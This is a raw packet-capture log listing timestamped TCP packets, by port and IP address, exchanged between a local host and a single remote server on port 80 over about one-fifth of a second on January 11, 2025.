Jan 11, 2025 02:13:38.729217052 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729228020 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729238987 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729249001 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.729276896 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.729330063 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729341984 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729362011 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729372978 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729378939 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.729383945 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729406118 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.729427099 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.729516983 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729527950 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729537964 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729548931 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729558945 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729578018 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.729604959 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.729669094 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729680061 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729710102 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.729764938 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729777098 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729788065 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729814053 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.729840040 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.729860067 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729872942 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729882956 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729895115 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729904890 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729907990 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.729935884 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.730097055 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730108976 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730119944 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730129957 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730139017 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.730139971 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730150938 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730161905 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730170965 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.730171919 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730186939 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730209112 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.730238914 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.730412960 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730423927 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730439901 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730451107 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730460882 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730464935 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.730473995 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730494976 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.730510950 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.730660915 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730673075 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730683088 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730725050 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.730807066 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730818987 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730838060 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730848074 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730849028 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.730859995 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730870008 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730875969 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.730884075 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730894089 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730902910 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.730905056 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730916023 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730925083 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.730928898 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.730942011 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.730978012 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.731164932 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731177092 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731211901 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.731311083 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731329918 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731339931 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731352091 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731363058 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731374025 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731376886 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.731385946 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731386900 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.731396914 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731408119 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731417894 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.731420040 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731430054 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.731431961 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731445074 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731453896 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.731489897 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.731879950 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731890917 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731900930 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731910944 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731920958 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731929064 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.731933117 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731944084 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731955051 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731956005 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.731966019 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731976032 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.731978893 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.731990099 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.732000113 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.732001066 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.732012987 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.732024908 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.732026100 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.732045889 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.732079029 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.738996029 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.742326021 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.742342949 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.742444038 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.765543938 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.765644073 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.765654087 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.765700102 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.765711069 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.765722036 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.765722990 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.765753031 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.765769005 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.765782118 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.765793085 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.765819073 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.765826941 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.765830994 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.765878916 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.765901089 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.765912056 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.765939951 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.775804996 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.778556108 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.778568029 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.778579950 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.778606892 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.778636932 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.778649092 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.778659105 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.778671026 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.778687954 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.778714895 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.778872967 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.778884888 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.778894901 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.778906107 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.778917074 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.778918982 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.778928995 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.778934002 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.778959036 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.779093027 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.779104948 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.779114962 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.779124975 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.779135942 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.779143095 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.779146910 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.779159069 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.779172897 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.779210091 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.788276911 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.800081968 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.816948891 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.817066908 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.817079067 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.817157030 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.817166090 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.817178965 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.817188978 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.817312956 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.817325115 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.817370892 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.817373037 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.817370892 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.817370892 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.817384958 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.817397118 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.817423105 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.817606926 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.817619085 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.817629099 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.817640066 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.817651033 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.817653894 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.817662001 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.817675114 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.817678928 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.817699909 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.817714930 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.817886114 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818095922 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818108082 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818120003 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818130016 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818137884 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.818141937 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818154097 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818157911 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.818165064 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818176031 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818185091 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.818186998 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818197966 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818202972 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.818212032 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818218946 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.818223953 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818234921 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818245888 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818263054 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.818285942 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.818523884 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.818703890 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818752050 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.818867922 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818880081 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818890095 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818901062 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818909883 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.818911076 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818922043 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818932056 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818937063 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.818943024 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818953037 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818954945 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.818964958 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818974972 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818984032 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.818993092 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.819015026 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.819027901 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.819202900 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.819212914 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.819255114 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.819340944 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.819353104 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.819364071 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.819372892 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.819384098 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.819394112 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.819397926 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.819405079 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.819417000 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.819417000 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.819427013 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.819437027 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.819443941 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.819449902 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.819464922 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.819469929 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.819473028 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.819510937 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.820030928 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.820053101 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.820069075 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.820075035 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.820080042 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.820085049 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.820095062 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.820107937 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.820117950 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.820125103 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.820127964 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.820139885 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.820144892 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.820153952 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.820156097 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.820168972 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.820169926 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.820179939 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.820189953 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.820189953 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.820204020 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.820214987 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.820216894 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.820229053 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.820239067 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.820245981 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.820251942 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.820266962 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.820276976 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.852629900 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.852649927 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.852722883 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.852746964 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.852760077 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.852777958 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.852787971 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.852788925 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.852802992 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.852817059 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.852844000 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.855710030 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.864962101 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.864974976 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.864984989 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.865072966 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.865098000 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.865108967 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.865119934 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.865139961 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.865154028 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.865210056 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.865221977 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.865232944 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.865243912 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.865272045 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.865295887 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.865309954 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.865395069 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.865406036 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.865416050 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.865425110 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.865436077 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.865437031 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.865448952 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.865449905 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.865478992 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.865621090 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.865632057 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.865643024 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.865652084 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.865662098 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.865669966 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.865685940 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.865721941 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.902771950 CET	80	49727	193.143.1.205	192.168.2.10
